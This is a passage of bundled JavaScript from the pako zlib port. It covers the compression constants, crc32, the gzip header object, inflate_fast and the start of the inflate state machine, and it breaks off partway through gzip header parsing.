    Z_PARTIAL_FLUSH:    1,
    Z_SYNC_FLUSH:       2,
    Z_FULL_FLUSH:       3,
    Z_FINISH:           4,
    Z_BLOCK:            5,
    Z_TREES:            6,

    /* Return codes for the compression/decompression functions. Negative values
    * are errors, positive values are used for special but normal events.
    */
    Z_OK:               0,
    Z_STREAM_END:       1,
    Z_NEED_DICT:        2,
    Z_ERRNO:           -1,
    Z_STREAM_ERROR:    -2,
    Z_DATA_ERROR:      -3,
    //Z_MEM_ERROR:     -4,
    Z_BUF_ERROR:       -5,
    //Z_VERSION_ERROR: -6,

    /* compression levels */
    Z_NO_COMPRESSION:         0,
    Z_BEST_SPEED:             1,
    Z_BEST_COMPRESSION:       9,
    Z_DEFAULT_COMPRESSION:   -1,


    Z_FILTERED:               1,
    Z_HUFFMAN_ONLY:           2,
    Z_RLE:                    3,
    Z_FIXED:                  4,
    Z_DEFAULT_STRATEGY:       0,

    /* Possible values of the data_type field (though see inflate()) */
    Z_BINARY:                 0,
    Z_TEXT:                   1,
    //Z_ASCII:                1, // = Z_TEXT (deprecated)
    Z_UNKNOWN:                2,

    /* The deflate compression method */
    Z_DEFLATED:               8
    //Z_NULL:                 null // Use -1 or null inline, depending on var type
  };

  },{}],5:[function(require,module,exports){
  'use strict';

  // Note: we can't get significant speed boost here.
  // So write code to minimize size - no pregenerated tables
  // and array tools dependencies.

  // (C) 1995-2013 Jean-loup Gailly and Mark Adler
  // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
  //
  // This software is provided 'as-is', without any express or implied
  // warranty. In no event will the authors be held liable for any damages
  // arising from the use of this software.
  //
  // Permission is granted to anyone to use this software for any purpose,
  // including commercial applications, and to alter it and redistribute it
  // freely, subject to the following restrictions:
  //
  // 1. The origin of this software must not be misrepresented; you must not
  //   claim that you wrote the original software. If you use this software
  //   in a product, an acknowledgment in the product documentation would be
  //   appreciated but is not required.
  // 2. Altered source versions must be plainly marked as such, and must not be
  //   misrepresented as being the original software.
  // 3. This notice may not be removed or altered from any source distribution.

  // Use ordinary array, since untyped makes no boost here
  function makeTable() {
    var c, table = [];

    for (var n = 0; n < 256; n++) {
      c = n;
      for (var k = 0; k < 8; k++) {
        c = ((c & 1) ? (0xEDB88320 ^ (c >>> 1)) : (c >>> 1));
      }
      table[n] = c;
    }

    return table;
  }

  // Create table on load. Just 255 signed longs. Not a problem.
  var crcTable = makeTable();


  function crc32(crc, buf, len, pos) {
    var t = crcTable,
        end = pos + len;

    crc ^= -1;

    for (var i = pos; i < end; i++) {
      crc = (crc >>> 8) ^ t[(crc ^ buf[i]) & 0xFF];
    }

    return (crc ^ (-1)); // >>> 0;
  }


  module.exports = crc32;

  },{}],6:[function(require,module,exports){
  'use strict';

  // (C) 1995-2013 Jean-loup Gailly and Mark Adler
  // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
  //
  // This software is provided 'as-is', without any express or implied
  // warranty. In no event will the authors be held liable for any damages
  // arising from the use of this software.
  //
  // Permission is granted to anyone to use this software for any purpose,
  // including commercial applications, and to alter it and redistribute it
  // freely, subject to the following restrictions:
  //
  // 1. The origin of this software must not be misrepresented; you must not
  //   claim that you wrote the original software. If you use this software
  //   in a product, an acknowledgment in the product documentation would be
  //   appreciated but is not required.
  // 2. Altered source versions must be plainly marked as such, and must not be
  //   misrepresented as being the original software.
  // 3. This notice may not be removed or altered from any source distribution.

  function GZheader() {
    /* true if compressed data believed to be text */
    this.text       = 0;
    /* modification time */
    this.time       = 0;
    /* extra flags (not used when writing a gzip file) */
    this.xflags     = 0;
    /* operating system */
    this.os         = 0;
    /* pointer to extra field or Z_NULL if none */
    this.extra      = null;
    /* extra field length (valid if extra != Z_NULL) */
    this.extra_len  = 0; // Actually, we don't need it in JS,
                         // but leave for few code modifications

    //
    // Setup limits is not necessary because in js we should not preallocate memory
    // for inflate use constant limit in 65536 bytes
    //

    /* space at extra (only when reading header) */
    // this.extra_max  = 0;
    /* pointer to zero-terminated file name or Z_NULL */
    this.name       = '';
    /* space at name (only when reading header) */
    // this.name_max   = 0;
    /* pointer to zero-terminated comment or Z_NULL */
    this.comment    = '';
    /* space at comment (only when reading header) */
    // this.comm_max   = 0;
    /* true if there was or will be a header crc */
    this.hcrc       = 0;
    /* true when done reading gzip header (not used when writing a gzip file) */
    this.done       = false;
  }

  module.exports = GZheader;

  },{}],7:[function(require,module,exports){
  'use strict';

  // (C) 1995-2013 Jean-loup Gailly and Mark Adler
  // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
  //
  // This software is provided 'as-is', without any express or implied
  // warranty. In no event will the authors be held liable for any damages
  // arising from the use of this software.
  //
  // Permission is granted to anyone to use this software for any purpose,
  // including commercial applications, and to alter it and redistribute it
  // freely, subject to the following restrictions:
  //
  // 1. The origin of this software must not be misrepresented; you must not
  //   claim that you wrote the original software. If you use this software
  //   in a product, an acknowledgment in the product documentation would be
  //   appreciated but is not required.
  // 2. Altered source versions must be plainly marked as such, and must not be
  //   misrepresented as being the original software.
  // 3. This notice may not be removed or altered from any source distribution.

  // See state defs from inflate.js
  var BAD = 30;       /* got a data error -- remain here until reset */
  var TYPE = 12;      /* i: waiting for type bits, including last-flag bit */

  /*
     Decode literal, length, and distance codes and write out the resulting
     literal and match bytes until either not enough input or output is
     available, an end-of-block is encountered, or a data error is encountered.
     When large enough input and output buffers are supplied to inflate(), for
     example, a 16K input buffer and a 64K output buffer, more than 95% of the
     inflate execution time is spent in this routine.

     Entry assumptions:

          state.mode === LEN
          strm.avail_in >= 6
          strm.avail_out >= 258
          start >= strm.avail_out
          state.bits < 8

     On return, state.mode is one of:

          LEN -- ran out of enough output space or enough available input
          TYPE -- reached end of block code, inflate() to interpret next block
          BAD -- error in block data

     Notes:

      - The maximum input bits used by a length/distance pair is 15 bits for the
        length code, 5 bits for the length extra, 15 bits for the distance code,
        and 13 bits for the distance extra.  This totals 48 bits, or six bytes.
        Therefore if strm.avail_in >= 6, then there is enough input to avoid
        checking for available input while decoding.

      - The maximum bytes that a single length/distance pair can output is 258
        bytes, which is the maximum length that can be coded.  inflate_fast()
        requires strm.avail_out >= 258 for each loop to avoid checking for
        output space.
   */
  module.exports = function inflate_fast(strm, start) {
    var state;
    var _in;                    /* local strm.input */
    var last;                   /* have enough input while in < last */
    var _out;                   /* local strm.output */
    var beg;                    /* inflate()'s initial strm.output */
    var end;                    /* while out < end, enough space available */
  //#ifdef INFLATE_STRICT
    var dmax;                   /* maximum distance from zlib header */
  //#endif
    var wsize;                  /* window size or zero if not using window */
    var whave;                  /* valid bytes in the window */
    var wnext;                  /* window write index */
    // Use `s_window` instead `window`, avoid conflict with instrumentation tools
    var s_window;               /* allocated sliding window, if wsize != 0 */
    var hold;                   /* local strm.hold */
    var bits;                   /* local strm.bits */
    var lcode;                  /* local strm.lencode */
    var dcode;                  /* local strm.distcode */
    var lmask;                  /* mask for first level of length codes */
    var dmask;                  /* mask for first level of distance codes */
    var here;                   /* retrieved table entry */
    var op;                     /* code bits, operation, extra bits, or */
                                /*  window position, window bytes to copy */
    var len;                    /* match length, unused bytes */
    var dist;                   /* match distance */
    var from;                   /* where to copy match from */
    var from_source;


    var input, output; // JS specific, because we have no pointers

    /* copy state to local variables */
    state = strm.state;
    //here = state.here;
    _in = strm.next_in;
    input = strm.input;
    last = _in + (strm.avail_in - 5);
    _out = strm.next_out;
    output = strm.output;
    beg = _out - (start - strm.avail_out);
    end = _out + (strm.avail_out - 257);
  //#ifdef INFLATE_STRICT
    dmax = state.dmax;
  //#endif
    wsize = state.wsize;
    whave = state.whave;
    wnext = state.wnext;
    s_window = state.window;
    hold = state.hold;
    bits = state.bits;
    lcode = state.lencode;
    dcode = state.distcode;
    lmask = (1 << state.lenbits) - 1;
    dmask = (1 << state.distbits) - 1;


    /* decode literals and length/distances until end-of-block or not enough
       input data or output space */

    top:
    do {
      if (bits < 15) {
        hold += input[_in++] << bits;
        bits += 8;
        hold += input[_in++] << bits;
        bits += 8;
      }

      here = lcode[hold & lmask];

      dolen:
      for (;;) { // Goto emulation
        op = here >>> 24/*here.bits*/;
        hold >>>= op;
        bits -= op;
        op = (here >>> 16) & 0xff/*here.op*/;
        if (op === 0) {                          /* literal */
          //Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?
          //        "inflate:         literal '%c'\n" :
          //        "inflate:         literal 0x%02x\n", here.val));
          output[_out++] = here & 0xffff/*here.val*/;
        }
        else if (op & 16) {                     /* length base */
          len = here & 0xffff/*here.val*/;
          op &= 15;                           /* number of extra bits */
          if (op) {
            if (bits < op) {
              hold += input[_in++] << bits;
              bits += 8;
            }
            len += hold & ((1 << op) - 1);
            hold >>>= op;
            bits -= op;
          }
          //Tracevv((stderr, "inflate:         length %u\n", len));
          if (bits < 15) {
            hold += input[_in++] << bits;
            bits += 8;
            hold += input[_in++] << bits;
            bits += 8;
          }
          here = dcode[hold & dmask];

          dodist:
          for (;;) { // goto emulation
            op = here >>> 24/*here.bits*/;
            hold >>>= op;
            bits -= op;
            op = (here >>> 16) & 0xff/*here.op*/;

            if (op & 16) {                      /* distance base */
              dist = here & 0xffff/*here.val*/;
              op &= 15;                       /* number of extra bits */
              if (bits < op) {
                hold += input[_in++] << bits;
                bits += 8;
                if (bits < op) {
                  hold += input[_in++] << bits;
                  bits += 8;
                }
              }
              dist += hold & ((1 << op) - 1);
  //#ifdef INFLATE_STRICT
              if (dist > dmax) {
                strm.msg = 'invalid distance too far back';
                state.mode = BAD;
                break top;
              }
  //#endif
              hold >>>= op;
              bits -= op;
              //Tracevv((stderr, "inflate:         distance %u\n", dist));
              op = _out - beg;                /* max distance in output */
              if (dist > op) {                /* see if copy from window */
                op = dist - op;               /* distance back in window */
                if (op > whave) {
                  if (state.sane) {
                    strm.msg = 'invalid distance too far back';
                    state.mode = BAD;
                    break top;
                  }

  // (!) This block is disabled in zlib defaults,
  // don't enable it for binary compatibility
  //#ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR
  //                if (len <= op - whave) {
  //                  do {
  //                    output[_out++] = 0;
  //                  } while (--len);
  //                  continue top;
  //                }
  //                len -= op - whave;
  //                do {
  //                  output[_out++] = 0;
  //                } while (--op > whave);
  //                if (op === 0) {
  //                  from = _out - dist;
  //                  do {
  //                    output[_out++] = output[from++];
  //                  } while (--len);
  //                  continue top;
  //                }
  //#endif
                }
                from = 0; // window index
                from_source = s_window;
                if (wnext === 0) {           /* very common case */
                  from += wsize - op;
                  if (op < len) {         /* some from window */
                    len -= op;
                    do {
                      output[_out++] = s_window[from++];
                    } while (--op);
                    from = _out - dist;  /* rest from output */
                    from_source = output;
                  }
                }
                else if (wnext < op) {      /* wrap around window */
                  from += wsize + wnext - op;
                  op -= wnext;
                  if (op < len) {         /* some from end of window */
                    len -= op;
                    do {
                      output[_out++] = s_window[from++];
                    } while (--op);
                    from = 0;
                    if (wnext < len) {  /* some from start of window */
                      op = wnext;
                      len -= op;
                      do {
                        output[_out++] = s_window[from++];
                      } while (--op);
                      from = _out - dist;      /* rest from output */
                      from_source = output;
                    }
                  }
                }
                else {                      /* contiguous in window */
                  from += wnext - op;
                  if (op < len) {         /* some from window */
                    len -= op;
                    do {
                      output[_out++] = s_window[from++];
                    } while (--op);
                    from = _out - dist;  /* rest from output */
                    from_source = output;
                  }
                }
                while (len > 2) {
                  output[_out++] = from_source[from++];
                  output[_out++] = from_source[from++];
                  output[_out++] = from_source[from++];
                  len -= 3;
                }
                if (len) {
                  output[_out++] = from_source[from++];
                  if (len > 1) {
                    output[_out++] = from_source[from++];
                  }
                }
              }
              else {
                from = _out - dist;          /* copy direct from output */
                do {                        /* minimum length is three */
                  output[_out++] = output[from++];
                  output[_out++] = output[from++];
                  output[_out++] = output[from++];
                  len -= 3;
                } while (len > 2);
                if (len) {
                  output[_out++] = output[from++];
                  if (len > 1) {
                    output[_out++] = output[from++];
                  }
                }
              }
            }
            else if ((op & 64) === 0) {          /* 2nd level distance code */
              here = dcode[(here & 0xffff)/*here.val*/ + (hold & ((1 << op) - 1))];
              continue dodist;
            }
            else {
              strm.msg = 'invalid distance code';
              state.mode = BAD;
              break top;
            }

            break; // need to emulate goto via "continue"
          }
        }
        else if ((op & 64) === 0) {              /* 2nd level length code */
          here = lcode[(here & 0xffff)/*here.val*/ + (hold & ((1 << op) - 1))];
          continue dolen;
        }
        else if (op & 32) {                     /* end-of-block */
          //Tracevv((stderr, "inflate:         end of block\n"));
          state.mode = TYPE;
          break top;
        }
        else {
          strm.msg = 'invalid literal/length code';
          state.mode = BAD;
          break top;
        }

        break; // need to emulate goto via "continue"
      }
    } while (_in < last && _out < end);

    /* return unused bytes (on entry, bits < 8, so in won't go too far back) */
    len = bits >> 3;
    _in -= len;
    bits -= len << 3;
    hold &= (1 << bits) - 1;

    /* update state and return */
    strm.next_in = _in;
    strm.next_out = _out;
    strm.avail_in = (_in < last ? 5 + (last - _in) : 5 - (_in - last));
    strm.avail_out = (_out < end ? 257 + (end - _out) : 257 - (_out - end));
    state.hold = hold;
    state.bits = bits;
    return;
  };

  },{}],8:[function(require,module,exports){
  'use strict';

  // (C) 1995-2013 Jean-loup Gailly and Mark Adler
  // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
  //
  // This software is provided 'as-is', without any express or implied
  // warranty. In no event will the authors be held liable for any damages
  // arising from the use of this software.
  //
  // Permission is granted to anyone to use this software for any purpose,
  // including commercial applications, and to alter it and redistribute it
  // freely, subject to the following restrictions:
  //
  // 1. The origin of this software must not be misrepresented; you must not
  //   claim that you wrote the original software. If you use this software
  //   in a product, an acknowledgment in the product documentation would be
  //   appreciated but is not required.
  // 2. Altered source versions must be plainly marked as such, and must not be
  //   misrepresented as being the original software.
  // 3. This notice may not be removed or altered from any source distribution.

  var utils         = require('../utils/common');
  var adler32       = require('./adler32');
  var crc32         = require('./crc32');
  var inflate_fast  = require('./inffast');
  var inflate_table = require('./inftrees');

  var CODES = 0;
  var LENS = 1;
  var DISTS = 2;

  /* Public constants ==========================================================*/
  /* ===========================================================================*/


  /* Allowed flush values; see deflate() and inflate() below for details */
  //var Z_NO_FLUSH      = 0;
  //var Z_PARTIAL_FLUSH = 1;
  //var Z_SYNC_FLUSH    = 2;
  //var Z_FULL_FLUSH    = 3;
  var Z_FINISH        = 4;
  var Z_BLOCK         = 5;
  var Z_TREES         = 6;


  /* Return codes for the compression/decompression functions. Negative values
   * are errors, positive values are used for special but normal events.
   */
  var Z_OK            = 0;
  var Z_STREAM_END    = 1;
  var Z_NEED_DICT     = 2;
  //var Z_ERRNO         = -1;
  var Z_STREAM_ERROR  = -2;
  var Z_DATA_ERROR    = -3;
  var Z_MEM_ERROR     = -4;
  var Z_BUF_ERROR     = -5;
  //var Z_VERSION_ERROR = -6;

  /* The deflate compression method */
  var Z_DEFLATED  = 8;


  /* STATES ====================================================================*/
  /* ===========================================================================*/


  var    HEAD = 1;       /* i: waiting for magic header */
  var    FLAGS = 2;      /* i: waiting for method and flags (gzip) */
  var    TIME = 3;       /* i: waiting for modification time (gzip) */
  var    OS = 4;         /* i: waiting for extra flags and operating system (gzip) */
  var    EXLEN = 5;      /* i: waiting for extra length (gzip) */
  var    EXTRA = 6;      /* i: waiting for extra bytes (gzip) */
  var    NAME = 7;       /* i: waiting for end of file name (gzip) */
  var    COMMENT = 8;    /* i: waiting for end of comment (gzip) */
  var    HCRC = 9;       /* i: waiting for header crc (gzip) */
  var    DICTID = 10;    /* i: waiting for dictionary check value */
  var    DICT = 11;      /* waiting for inflateSetDictionary() call */
  var        TYPE = 12;      /* i: waiting for type bits, including last-flag bit */
  var        TYPEDO = 13;    /* i: same, but skip check to exit inflate on new block */
  var        STORED = 14;    /* i: waiting for stored size (length and complement) */
  var        COPY_ = 15;     /* i/o: same as COPY below, but only first time in */
  var        COPY = 16;      /* i/o: waiting for input or output to copy stored block */
  var        TABLE = 17;     /* i: waiting for dynamic block table lengths */
  var        LENLENS = 18;   /* i: waiting for code length code lengths */
  var        CODELENS = 19;  /* i: waiting for length/lit and distance code lengths */
  var            LEN_ = 20;      /* i: same as LEN below, but only first time in */
  var            LEN = 21;       /* i: waiting for length/lit/eob code */
  var            LENEXT = 22;    /* i: waiting for length extra bits */
  var            DIST = 23;      /* i: waiting for distance code */
  var            DISTEXT = 24;   /* i: waiting for distance extra bits */
  var            MATCH = 25;     /* o: waiting for output space to copy string */
  var            LIT = 26;       /* o: waiting for output space to write literal */
  var    CHECK = 27;     /* i: waiting for 32-bit check value */
  var    LENGTH = 28;    /* i: waiting for 32-bit length (gzip) */
  var    DONE = 29;      /* finished check, done -- remain here until reset */
  var    BAD = 30;       /* got a data error -- remain here until reset */
  var    MEM = 31;       /* got an inflate() memory error -- remain here until reset */
  var    SYNC = 32;      /* looking for synchronization bytes to restart inflate() */

  /* ===========================================================================*/



  var ENOUGH_LENS = 852;
  var ENOUGH_DISTS = 592;
  //var ENOUGH =  (ENOUGH_LENS+ENOUGH_DISTS);

  var MAX_WBITS = 15;
  /* 32K LZ77 window */
  var DEF_WBITS = MAX_WBITS;


  function zswap32(q) {
    return  (((q >>> 24) & 0xff) +
            ((q >>> 8) & 0xff00) +
            ((q & 0xff00) << 8) +
            ((q & 0xff) << 24));
  }


  function InflateState() {
    this.mode = 0;             /* current inflate mode */
    this.last = false;          /* true if processing last block */
    this.wrap = 0;              /* bit 0 true for zlib, bit 1 true for gzip */
    this.havedict = false;      /* true if dictionary provided */
    this.flags = 0;             /* gzip header method and flags (0 if zlib) */
    this.dmax = 0;              /* zlib header max distance (INFLATE_STRICT) */
    this.check = 0;             /* protected copy of check value */
    this.total = 0;             /* protected copy of output count */
    // TODO: may be {}
    this.head = null;           /* where to save gzip header information */

    /* sliding window */
    this.wbits = 0;             /* log base 2 of requested window size */
    this.wsize = 0;             /* window size or zero if not using window */
    this.whave = 0;             /* valid bytes in the window */
    this.wnext = 0;             /* window write index */
    this.window = null;         /* allocated sliding window, if needed */

    /* bit accumulator */
    this.hold = 0;              /* input bit accumulator */
    this.bits = 0;              /* number of bits in "in" */

    /* for string and stored block copying */
    this.length = 0;            /* literal or length of data to copy */
    this.offset = 0;            /* distance back to copy string from */

    /* for table and code decoding */
    this.extra = 0;             /* extra bits needed */

    /* fixed and dynamic code tables */
    this.lencode = null;          /* starting table for length/literal codes */
    this.distcode = null;         /* starting table for distance codes */
    this.lenbits = 0;           /* index bits for lencode */
    this.distbits = 0;          /* index bits for distcode */

    /* dynamic table building */
    this.ncode = 0;             /* number of code length code lengths */
    this.nlen = 0;              /* number of length code lengths */
    this.ndist = 0;             /* number of distance code lengths */
    this.have = 0;              /* number of code lengths in lens[] */
    this.next = null;              /* next available space in codes[] */

    this.lens = new utils.Buf16(320); /* temporary storage for code lengths */
    this.work = new utils.Buf16(288); /* work area for code table building */

    /*
     because we don't have pointers in js, we use lencode and distcode directly
     as buffers so we don't need codes
    */
    //this.codes = new utils.Buf32(ENOUGH);       /* space for code tables */
    this.lendyn = null;              /* dynamic table for length/literal codes (JS specific) */
    this.distdyn = null;             /* dynamic table for distance codes (JS specific) */
    this.sane = 0;                   /* if false, allow invalid distance too far */
    this.back = 0;                   /* bits back of last unprocessed length/lit */
    this.was = 0;                    /* initial length of match */
  }

  function inflateResetKeep(strm) {
    var state;

    if (!strm || !strm.state) { return Z_STREAM_ERROR; }
    state = strm.state;
    strm.total_in = strm.total_out = state.total = 0;
    strm.msg = ''; /*Z_NULL*/
    if (state.wrap) {       /* to support ill-conceived Java test suite */
      strm.adler = state.wrap & 1;
    }
    state.mode = HEAD;
    state.last = 0;
    state.havedict = 0;
    state.dmax = 32768;
    state.head = null/*Z_NULL*/;
    state.hold = 0;
    state.bits = 0;
    //state.lencode = state.distcode = state.next = state.codes;
    state.lencode = state.lendyn = new utils.Buf32(ENOUGH_LENS);
    state.distcode = state.distdyn = new utils.Buf32(ENOUGH_DISTS);

    state.sane = 1;
    state.back = -1;
    //Tracev((stderr, "inflate: reset\n"));
    return Z_OK;
  }

  function inflateReset(strm) {
    var state;

    if (!strm || !strm.state) { return Z_STREAM_ERROR; }
    state = strm.state;
    state.wsize = 0;
    state.whave = 0;
    state.wnext = 0;
    return inflateResetKeep(strm);

  }

  function inflateReset2(strm, windowBits) {
    var wrap;
    var state;

    /* get the state */
    if (!strm || !strm.state) { return Z_STREAM_ERROR; }
    state = strm.state;

    /* extract wrap request from windowBits parameter */
    if (windowBits < 0) {
      wrap = 0;
      windowBits = -windowBits;
    }
    else {
      wrap = (windowBits >> 4) + 1;
      if (windowBits < 48) {
        windowBits &= 15;
      }
    }

    /* set number of window bits, free window if different */
    if (windowBits && (windowBits < 8 || windowBits > 15)) {
      return Z_STREAM_ERROR;
    }
    if (state.window !== null && state.wbits !== windowBits) {
      state.window = null;
    }

    /* update state and reset the rest of it */
    state.wrap = wrap;
    state.wbits = windowBits;
    return inflateReset(strm);
  }

  function inflateInit2(strm, windowBits) {
    var ret;
    var state;

    if (!strm) { return Z_STREAM_ERROR; }
    //strm.msg = Z_NULL;                 /* in case we return an error */

    state = new InflateState();

    //if (state === Z_NULL) return Z_MEM_ERROR;
    //Tracev((stderr, "inflate: allocated\n"));
    strm.state = state;
    state.window = null/*Z_NULL*/;
    ret = inflateReset2(strm, windowBits);
    if (ret !== Z_OK) {
      strm.state = null/*Z_NULL*/;
    }
    return ret;
  }

  function inflateInit(strm) {
    return inflateInit2(strm, DEF_WBITS);
  }


  /*
   Return state with length and distance decoding tables and index sizes set to
   fixed code decoding.  Normally this returns fixed tables from inffixed.h.
   If BUILDFIXED is defined, then instead this routine builds the tables the
   first time it's called, and returns those tables the first time and
   thereafter.  This reduces the size of the code by about 2K bytes, in
   exchange for a little execution time.  However, BUILDFIXED should not be
   used for threaded applications, since the rewriting of the tables and virgin
   may not be thread-safe.
   */
  var virgin = true;

  var lenfix, distfix; // We have no pointers in JS, so keep tables separate

  function fixedtables(state) {
    /* build fixed huffman tables if first call (may not be thread safe) */
    if (virgin) {
      var sym;

      lenfix = new utils.Buf32(512);
      distfix = new utils.Buf32(32);

      /* literal/length table */
      sym = 0;
      while (sym < 144) { state.lens[sym++] = 8; }
      while (sym < 256) { state.lens[sym++] = 9; }
      while (sym < 280) { state.lens[sym++] = 7; }
      while (sym < 288) { state.lens[sym++] = 8; }

      inflate_table(LENS,  state.lens, 0, 288, lenfix,   0, state.work, { bits: 9 });

      /* distance table */
      sym = 0;
      while (sym < 32) { state.lens[sym++] = 5; }

      inflate_table(DISTS, state.lens, 0, 32,   distfix, 0, state.work, { bits: 5 });

      /* do this just once */
      virgin = false;
    }

    state.lencode = lenfix;
    state.lenbits = 9;
    state.distcode = distfix;
    state.distbits = 5;
  }


  /*
   Update the window with the last wsize (normally 32K) bytes written before
   returning.  If window does not exist yet, create it.  This is only called
   when a window is already in use, or when output has been written during this
   inflate call, but the end of the deflate stream has not been reached yet.
   It is also called to create a window for dictionary data when a dictionary
   is loaded.

   Providing output buffers larger than 32K to inflate() should provide a speed
   advantage, since only the last 32K of output is copied to the sliding window
   upon return from inflate(), and since all distances after the first 32K of
   output will fall in the output data, making match copies simpler and faster.
   The advantage may be dependent on the size of the processor's data caches.
   */
  function updatewindow(strm, src, end, copy) {
    var dist;
    var state = strm.state;

    /* if it hasn't been done already, allocate space for the window */
    if (state.window === null) {
      state.wsize = 1 << state.wbits;
      state.wnext = 0;
      state.whave = 0;

      state.window = new utils.Buf8(state.wsize);
    }

    /* copy state->wsize or less output bytes into the circular window */
    if (copy >= state.wsize) {
      utils.arraySet(state.window, src, end - state.wsize, state.wsize, 0);
      state.wnext = 0;
      state.whave = state.wsize;
    }
    else {
      dist = state.wsize - state.wnext;
      if (dist > copy) {
        dist = copy;
      }
      //zmemcpy(state->window + state->wnext, end - copy, dist);
      utils.arraySet(state.window, src, end - copy, dist, state.wnext);
      copy -= dist;
      if (copy) {
        //zmemcpy(state->window, end - copy, copy);
        utils.arraySet(state.window, src, end - copy, copy, 0);
        state.wnext = copy;
        state.whave = state.wsize;
      }
      else {
        state.wnext += dist;
        if (state.wnext === state.wsize) { state.wnext = 0; }
        if (state.whave < state.wsize) { state.whave += dist; }
      }
    }
    return 0;
  }

  function inflate(strm, flush) {
    var state;
    var input, output;          // input/output buffers
    var next;                   /* next input INDEX */
    var put;                    /* next output INDEX */
    var have, left;             /* available input and output */
    var hold;                   /* bit buffer */
    var bits;                   /* bits in bit buffer */
    var _in, _out;              /* save starting available input and output */
    var copy;                   /* number of stored or match bytes to copy */
    var from;                   /* where to copy match bytes from */
    var from_source;
    var here = 0;               /* current decoding table entry */
    var here_bits, here_op, here_val; // paked "here" denormalized (JS specific)
    //var last;                   /* parent table entry */
    var last_bits, last_op, last_val; // paked "last" denormalized (JS specific)
    var len;                    /* length to copy for repeats, bits to drop */
    var ret;                    /* return code */
    var hbuf = new utils.Buf8(4);    /* buffer for gzip header crc calculation */
    var opts;

    var n; // temporary var for NEED_BITS

    var order = /* permutation of code lengths */
      [ 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15 ];


    if (!strm || !strm.state || !strm.output ||
        (!strm.input && strm.avail_in !== 0)) {
      return Z_STREAM_ERROR;
    }

    state = strm.state;
    if (state.mode === TYPE) { state.mode = TYPEDO; }    /* skip check */


    //--- LOAD() ---
    put = strm.next_out;
    output = strm.output;
    left = strm.avail_out;
    next = strm.next_in;
    input = strm.input;
    have = strm.avail_in;
    hold = state.hold;
    bits = state.bits;
    //---

    _in = have;
    _out = left;
    ret = Z_OK;

    inf_leave: // goto emulation
    for (;;) {
      switch (state.mode) {
        case HEAD:
          if (state.wrap === 0) {
            state.mode = TYPEDO;
            break;
          }
          //=== NEEDBITS(16);
          while (bits < 16) {
            if (have === 0) { break inf_leave; }
            have--;
            hold += input[next++] << bits;
            bits += 8;
          }
          //===//
          if ((state.wrap & 2) && hold === 0x8b1f) {  /* gzip header */
            state.check = 0/*crc32(0L, Z_NULL, 0)*/;
            //=== CRC2(state.check, hold);
            hbuf[0] = hold & 0xff;
            hbuf[1] = (hold >>> 8) & 0xff;
            state.check = crc32(state.check, hbuf, 2, 0);
            //===//

            //=== INITBITS();
            hold = 0;
            bits = 0;
            //===//
            state.mode = FLAGS;
            break;
          }
          state.flags = 0;           /* expect zlib header */
          if (state.head) {
            state.head.done = false;
          }
          if (!(state.wrap & 1) ||   /* check if zlib header allowed */
            (((hold & 0xff)/*BITS(8)*/ << 8) + (hold >> 8)) % 31) {
            strm.msg = 'incorrect header check';
            state.mode = BAD;
            break;
          }
          if ((hold & 0x0f)/*BITS(4)*/ !== Z_DEFLATED) {
            strm.msg = 'unknown compression method';
            state.mode = BAD;
            break;
          }
          //--- DROPBITS(4) ---//
          hold >>>= 4;
          bits -= 4;
          //---//
          len = (hold & 0x0f)/*BITS(4)*/ + 8;
          if (state.wbits === 0) {
            state.wbits = len;
          }
          else if (len > state.wbits) {
            strm.msg = 'invalid window size';
            state.mode = BAD;
            break;
          }
          state.dmax = 1 << len;
          //Tracev((stderr, "inflate:   zlib header ok\n"));
          strm.adler = state.check = 1/*adler32(0L, Z_NULL, 0)*/;
          state.mode = hold & 0x200 ? DICTID : TYPE;
          //=== INITBITS();
          hold = 0;
          bits = 0;
          //===//
          break;
        case FLAGS:
          //=== NEEDBITS(16); */
          while (bits < 16) {
            if (have === 0) { break inf_leave; }
            have--;
            hold += input[next++] << bits;
            bits += 8;
          }
          //===//
          state.flags = hold;
          if ((state.flags & 0xff) !== Z_DEFLATED) {
            strm.msg = 'unknown compression method';
            state.mode = BAD;
            break;
          }
          if (state.flags & 0xe000) {
            strm.msg = 'unknown header flags set';
            state.mode = BAD;
            break;
          }
          if (state.head) {
            state.head.text = ((hold >> 8) & 1);
          }
          if (state.flags & 0x0200) {
            //=== CRC2(state.check, hold);
            hbuf[0] = hold & 0xff;
            hbuf[1] = (hold >>> 8) & 0xff;
            state.check = crc32(state.check, hbuf, 2, 0);
            //===//
          }
          //=== INITBITS();
          hold = 0;
          bits = 0;
          //===//
          state.mode = TIME;
          /* falls through */
        case TIME:
          //=== NEEDBITS(32); */
          while (bits < 32) {
            if (have === 0) { break inf_leave; }
            have--;
            hold += input[next++] << bits;
            bits += 8;
          }
          //===//
          if (state.head) {
            state.head.time = hold;
          }
          if (state.flags & 0x0200) {
            //=== CRC4(state.check, hold)
            hbuf[0] = hold & 0xff;
            hbuf[1] = (hold >>> 8) & 0xff;
            hbuf[2] = (hold >>> 16) & 0xff;
            hbuf[3] = (hold >>> 24) & 0xff;
            state.check = crc32(state.check, hbuf, 4, 0);
            //===
          }
          //=== INITBITS();
          hold = 0;
          bits = 0;
          //===//
          state.mode = OS;
          /* falls through */
        case OS:
          //=== NEEDBITS(16); */
          while (bits < 16) {
            if (have === 0) { break inf_leave; }
            have--;
            hold += input[next++] << bits;
            bits += 8;
          }
          //===//
          if (state.head) {
            state.head.xflags = (hold & 0xff);
            state.head.os = (hold >> 8);
          }
          if (state.flags & 0x0200) {
            //=== CRC2(state.check, hold);
            hbuf[0] = hold & 0xff;
            hbuf[1] = (hold >>> 8) & 0xff;
            state.check = crc32(state.check, hbuf, 2, 0);
            //===//
          }
          //=== INITBITS();
          hold = 0;
          bits = 0;
          //===//
          state.mode = EXLEN;
          /* falls through */
        case EXLEN:
          if (state.flags & 0x0400) {
            //=== NEEDBITS(16); */
            while (bits < 16) {
              if (have === 0) { break inf_leave; }
              have--;
              hold += input[next++] << bits;
              bits += 8;
            }
            //===//
            state.length = hold;
            if (state.head) {
              state.head.extra_len = hold;
            }
            if (state.flags & 0x0200) {
              //=== CRC2(state.check, hold);
              hbuf[0] = hold & 0xff;
              hbuf[1] = (hold >>> 8) & 0xff;
